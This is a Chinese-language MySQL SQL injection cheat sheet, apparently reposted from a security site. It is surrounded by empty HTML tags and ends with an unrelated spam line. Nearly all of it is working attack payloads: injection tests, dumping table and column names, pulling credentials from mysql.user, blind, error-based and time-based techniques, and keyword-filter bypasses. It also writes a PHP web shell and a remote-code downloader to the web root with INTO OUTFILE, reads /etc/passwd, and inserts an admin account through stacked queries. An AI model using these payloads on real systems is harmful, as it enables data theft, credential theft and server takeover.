<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/123

                    默認存在的數據庫:

                    mysql 需要root權限讀取
                    information_schema 在5以上的版本中存在

                    測試是否存在注入方法

                    假:表示查詢是錯誤的 (MySQL 報錯/返回頁面與原來不同)

                    真:表示查詢是正常的 (返回頁面與原來相同)

                    共三種情況:

                    字符串類型查詢時: 數字類型查詢時: 登陸時:
                    '
                    ''
                    "
                    ""
                    \
                    \\
                    AND 1
                    AND 0
                    AND true
                    AND false
                    1-false 有問題時返回1的結果
                    1-true 有問題時返回0的結果
                    2-1 返回與1相同代表可能存在問題
                    1*56 返回與56相同代表可能存在問題
                    1*56 返回與1相同代表沒有問題
                    ' OR '1
                    ' OR 1 -- -
                    " OR "" = "
                    " OR 1 = 1 -- -
                    '='
                    'LIKE'
                    '=0--+

                    例子:

                    SELECT * FROM Users WHERE id = '1''';
                    SELECT * FROM Users WHERE id = 3-2;
                    SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
                    

                    可以使用很多單雙引號,只要是成對出現。

                    SELECT * FROM Articles WHERE id = '121'''''''''''''
                    

                    引號后的語句會繼續執行。

                    SELECT '1'''''"" UNION SELECT '2' # 1 and 2
                    

                    下面的符號可以用來注釋語句:

                    # Hash 語法
                    /* C-style 語法
                    -- - SQL 語法
                    ;%00 空字節
                    ` 反引號

                    例子:

                    SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
                    SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
                    

                    測試數據庫版本

                    VERSION()
                    @@VERSION
                    @@GLOBAL.VERSION
                    

                    如果版本為5的話,下面例子返回為真:

                    SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
                    

                    windows平臺上的mysql查詢與linux上返回不同,如果是windows服務器返回結果會包含 -nt-log字符。

                    數據庫認證信息:

                    mysql.user
                    字段 user, password
                    當前用戶 user(), current_user(), current_user, system_user(), session_user()

                    例子:

                    SELECT current_user;
                    SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
                    

                    數據庫名:

                    information_schema.schemata, mysql.db
                    字段 schema_name, db
                    當前數據庫 database(), schema()

                    例子:

                    SELECT database();
                    SELECT schema_name FROM information_schema.schemata;
                    SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
                    

                    服務器主機名:

                    @@HOSTNAME
                    

                    例子:

                    SELECT @@hostname;
                    

                    表和字段

                    檢測字段數

                    兩種方式:

                    ORDER BY判斷 ORDER BY n+1; 讓n一直增加直到出現錯誤頁面。 例子: 查詢語句 SELECT username, password, permission FROM Users WHERE id = '1'; 1' ORDER BY 1--+ 真 1' ORDER BY 2--+ 真 1' ORDER BY 3--+ 真 1' ORDER BY 4--+ 假- 查詢只用了3個字段 -1' UNION SELECT 1,2,3--+ 真
                    基于錯誤查詢 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 這種方式需要你知道所要查詢的表名。 這種報錯方式返回表的字段數,而不是錯誤的查詢語句。 例子: 查詢語句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段數

                    查詢表名

                    三種方式:

                    Union方式 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本時用version=9,MySQL 5版本時用version=10
                    盲注 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
                    報錯 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。

                    查詢列名

                    Union方式 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
                    盲注 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
                    報錯 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修復了
                    利用PROCEDURE ANALYSE() 這個需要web展示頁面有你所注入查詢的一個字段。 例子: 查詢語句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 獲得第一個段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 獲得第二個段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 獲得第三個段名

                    一次查詢多個表或列

                    SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x
                    

                    例子:

                    SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema&gt;=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] &gt;',table_name,' &gt; ',column_name))))x), 4--+';
                    

                    輸出結果:

                     [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
                     [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
                     [ information_schema ] >CHARACTER_SETS > DESCRIPTION
                     [ information_schema ] >CHARACTER_SETS > MAXLEN
                     [ information_schema ] >COLLATIONS > COLLATION_NAME
                     [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
                     [ information_schema ] >COLLATIONS > ID
                     [ information_schema ] >COLLATIONS > IS_DEFAULT
                     [ information_schema ] >COLLATIONS > IS_COMPILED
                    

                    利用代碼:

                    SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
                    

                    例子:

                    SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;
                    

                    輸出結果:

                    Table: talk_revisions
                    Column: revid
                    
                    Table: talk_revisions
                    Column: userid
                    
                    Table: talk_revisions
                    Column: user
                    
                    Table: talk_projects
                    Column: priority
                    

                    根據列名查詢所在的表

                    SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; 查詢字段為username的表
                    SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; 查詢字段中包含user的表

                    根據表查詢包含的字段

                    SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; 查詢user表中的字段
                    SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; 查詢包含user字符串表中的字段

                    繞過引號限制

                    SELECT * FROM Users WHERE username = 0x61646D696E Hex編碼
                    SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) 利用CHAR()函數

                    繞過字符串黑名單

                    SELECT 'a' 'd' 'mi' 'n';
                    SELECT CONCAT('a', 'd', 'm', 'i', 'n');
                    SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
                    SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

                    使用CONCAT()時,任何個參數為null,將返回null, 推薦使用CONCAT_WS() 。

                    CONCAT_WS() 函數第一個參數表示用哪個字符間隔所查詢的結果。

                    條件語句

                    CASE
                    IF()
                    IFNULL()
                    NULLIF()

                    例子:

                    SELECT IF(1=1, true, false);
                    SELECT CASE WHEN 1=1 THEN true ELSE false END;
                    

                    時間延遲查詢:

                    SLEEP() MySQL 5
                    BENCHMARK() MySQL 4/5

                    例子:

                    ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
                    

                    權限

                    文件權限

                    下面的語句可以查詢用戶讀寫文件操作權限:

                    SELECT file_priv FROM mysql.user WHERE user = 'username'; 需要root用戶來執行 MySQL 4/5
                    SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; 普通用戶都可以 MySQL 5

                    讀取文件

                    如果用戶有文件操作權限可以讀取文件:

                    LOAD_FILE()
                    

                    例子:

                    SELECT LOAD_FILE('/etc/passwd');
                    SELECT LOAD_FILE(0x2F6574632F706173737764);
                    

                    寫文件

                    如果用戶有文件操作權限可以寫文件。

                    INTO OUTFILE/DUMPFILE
                    

                    寫一個php的shell:

                    SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
                    

                    訪問如下鏈接:

                    http://localhost/shell.php?c=cat%20/etc/passwd

                    寫一個下載者:

                    SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
                    

                    訪問如下鏈接:

                    http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

                    PDO堆查詢方式操作數據庫

                    PHP使用PDO_MYSQL來連接數據庫,便可以使用堆查詢,堆查詢可以同時執行多個語句。

                    SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');
                    

                    MySql特有的寫法

                    MySql中,/*! SQL 語句 */ 這種格式里面的 SQL 語句會當正常的語句一樣被解析。

                    如果在!之后是一串數字(這串數字就是 mysql 數據庫的版本號), 如:/*! 12345 SQL 語句 */

                    當版本號大于等于該數字,SQL 語句則執行,否則就不執行。

                    SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
                    

                    模糊和混淆

                    允許的字符

                    09 Horizontal Tab
                    0A New Line
                    0B Vertical Tab
                    0C New Page
                    0D Carriage Return
                    A0 Non-breaking Space
                    20 Space

                    例子:

                    '%0A%09UNION%0CSELECT%A0NULL%20%23
                    

                    括號也可以用來繞過過濾空格的情況:

                    28 (
                    29 )

                    例子:

                    UNION(SELECT(column)FROM(table))
                    

                    AND或OR后面可以跟的字符

                    20 Space
                    2B +
                    2D -
                    7E ~
                    21 !
                    40 @

                    例子:

                    SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
                    

                    dual是一個虛擬表,可以用來做測試。

                    幾個針對黑名單繞過的例子

                    基于關鍵字的黑名單

                    過濾關鍵字 and or
                    php代碼 preg_match('/(and|or)/i',$id)
                    會過濾的攻擊代碼 1 or 1=1 1 and 1=1
                    繞過方式 1 || 1=1 1 && 1=1

                    下面這種方式你需要已經知道一些表和字段名(可以利用substring函數去一個一個獲得information_schema.columns表中的數據)

                    過濾關鍵字 and or union
                    php代碼 preg_match('/(and|or|union)/i',$id)
                    會過濾的攻擊代碼 union select user,password from users
                    繞過方式 1 && (select user from users where userid=1)='admin'
                    過濾關鍵字 and or union where
                    php代碼 preg_match('/(and|or|union|where)/i',$id)
                    會過濾的攻擊代碼 1 && (select user from users where user_id = 1) = 'admin'
                    繞過方式 1 && (select user from users limit 1) = 'admin'
                    過濾關鍵字 and or union where
                    php代碼 preg_match('/(and|or|union|where)/i',$id)
                    會過濾的攻擊代碼 1 && (select user from users where user_id = 1) = 'admin'
                    繞過方式 1 && (select user from users limit 1) = 'admin'
                    過濾關鍵字 and, or, union, where, limit
                    php代碼 preg_match('/(and|or|union|where|limit)/i', $id)
                    會過濾的攻擊代碼 1 && (select user from users limit 1) = 'admin'
                    繞過方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id為1的user為admin
                    過濾關鍵字 and, or, union, where, limit, group by
                    php代碼 preg_match('/(and|or|union|where|limit|group by)/i', $id)
                    會過濾的攻擊代碼 1 && (select user from users group by user_id having user_id = 1) = 'admin'
                    繞過方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
                    過濾關鍵字 and, or, union, where, limit, group by, select
                    php代碼 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
                    會過濾的攻擊代碼 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
                    繞過方式 1 && substr(user,1,1) = 'a'
                    過濾關鍵字 and, or, union, where, limit, group by, select, '
                    php代碼 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
                    會過濾的攻擊代碼 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
                    繞過方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
                    過濾關鍵字 and, or, union, where, limit, group by, select, ', hex
                    php代碼 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
                    會過濾的攻擊代碼 1 && substr(user,1,1) = unhex(61)
                    繞過方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十進制的11轉化為十六進制,并小寫。
                    過濾關鍵字 and, or, union, where, limit, group by, select, ', hex, substr
                    php代碼 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
                    會過濾的攻擊代碼 1 && substr(user,1,1) = lower(conv(11,10,16))/td>
                    繞過方式 1 && lpad(user,7,1)
                    過濾關鍵字 and, or, union, where, limit, group by, select, ', hex, substr, 空格
                    php代碼 preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
                    會過濾的攻擊代碼 1 && lpad(user,7,1)/td>
                    繞過方式 1%0b||%0blpad(user,7,1)
                    過濾關鍵字 and or union where
                    php代碼 preg_match('/(and|or|union|where)/i',$id)
                    會過濾的攻擊代碼 1 || (select user from users where user_id = 1) = 'admin'
                    繞過方式 1 || (select user from users limit 1) = 'admin'

                    利用正則表達式進行盲注

                    我們都已經知道,在MYSQL 5+中 information_schema庫中存儲了所有的 庫名,表明以及字段名信息。故攻擊方式如下:

                    1、判斷第一個表名的第一個字符是否是a-z中的字符,其中blind_sqli是假設已知的庫名。

                    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
                    

                    2、判斷第一個字符是否是a-n中的字符

                    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
                    

                    3、確定該字符為n

                    index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
                    

                    4、表達式的更換如下

                    '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE 
                    

                    這時說明表名為news ,要驗證是否是該表明 正則表達式為'^news$',但是沒這必要 直接判斷 table_name = 'news' 不就行了。

                    5、接下來猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以對接下來的表進行盲注了。

                    order by后的注入

                    oder by由于是排序語句,所以可以利用條件語句做判斷,根據返回的排序結果不同判斷條件的真假。

                    一般帶有oder或者orderby的變量很可能是這種注入,在知道一個字段的時候可以采用如下方式注入:

                    原始鏈接:http://www.test.com/list.php?order=vote 根據vote字段排序。

                    找到投票數最大的票數num然后構造以下鏈接:

                    http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
                    

                    看排序是否變化。

                    還有一種方法不需要知道任何字段信息,使用rand函數:

                    http://www.test.com/list.php?order=rand(true)
                    http://www.test.com/list.php?order=rand(false)
                    

                    以上兩個會返回不同的排序,判斷表名中第一個字符是否小于128的語句如下:

                    http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
                    

                    寬字節注入

                    sql注入中的寬字節國內最常使用的gbk編碼,這種方式主要是繞過addslashes等對特殊字符進行轉移的繞過。反斜杠()的十六進制為%5c,在你輸入%bf%27時,函數遇到單引號自動轉移加入\,此時變為%bf%5c%27,%bf%5c在gbk中變為一個寬字符“縗”。%bf那個位置可以是%81-%fe中間的任何字符。不止在sql注入中,寬字符注入在很多地方都可以應用。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频